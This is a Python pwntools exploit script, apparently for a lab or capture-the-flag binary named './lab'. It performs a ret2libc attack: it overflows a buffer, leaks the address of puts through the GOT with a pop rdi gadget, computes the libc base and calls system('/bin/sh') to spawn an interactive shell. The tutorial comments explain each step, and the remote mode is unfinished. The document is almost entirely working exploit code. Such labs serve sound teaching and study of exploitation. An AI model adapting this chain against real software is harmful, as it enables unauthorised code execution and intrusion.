text: #!/usr/bin/env python3
  from pwn import ELF, process, context, log
  from fastpwn import pack, aslr # custom library :)
  from sys import argv, exit
  try:
      if len(argv)>1 and argv[1]=="-l":
          if aslr.read():
              aslr.write("2")
          context(arch='amd64',os='linux',log_level='DEBUG')       # binary context
          binary=ELF("./lab")     # define our binary
          p=binary.process(env={'LD_PRELOAD':'./libc.so.6'}) # start our process and define enviroment
  
          libc=binary.libc    # name our libc object
          # we can statically find the addresses of the PLT and GOT within the binary
          # just in case you were too lazy to, here is the pwntools way to do it
          #
          # plt_puts=binary.plt['puts']
          # got_puts=binary.got['puts']
          # main_addr=binary.sym['main']
  
          pop_rdi=pack.pk64(0x00000000004011e3)
          got_puts=pack.pk64(0x00404018)
          plt_puts=pack.pk64(0x00401030)
          main_addr=pack.pk64(0x00401136)
          offset=40
          leak_payload=b"A"*offset # overwrite ret addr, main ret back to gadget
          leak_payload+=pop_rdi    # next we use a gadget, rdi will be the first parameter
          leak_payload+=got_puts   # pass the address of the puts() entry on the global offset table
          leak_payload+=plt_puts   # then, call puts(), this will actuall call puts
          leak_payload+=main_addr  # ret back to main, since we still want to overwrite the buffer again
          p.recvuntil("Enter: ")
          p.sendline(leak_payload)
          p.recvline()            # junk line
  
          puts_leak=pack.up64(p.recv(6).ljust(8,b"\x00")) # recv leaked libc address
          # now, we begin to construct our next payload, we have the address of libc we just need to use it
          # pwntools makes everything so so easy, we can simple just specify the base address
          # instead of doing this simply, we will do this manually to really hammer in the concept.
          # libc.address = puts_leak - libc.sym['puts']
          system_offset=0x0004a120 # libc->sym.system
          puts_offset = 0x00076cd0 # libc->sym.puts
          bin_sh_offset=0x0018c966 # libc->str._bin_sh
  
          base=puts_leak-puts_offset
          # we leak puts, we find the address of puts in memory, subtract to find base
  
          payload=b"A"*offset
          payload+=pop_rdi
          payload+=pack.pk64(bin_sh_offset+base)
          payload+=pack.pk64(system_offset+base)
          p.sendline(payload)
          context.log_level='warning'
          p.interactive()
      elif argv[1]=="-r":
          log.warning("Remote Exploit not working yet :(")
  except IndexError:
      print("Usage: python3 %s [-r] [-l]\n-r\tremote\n-l\tlocal"%argv[0])
  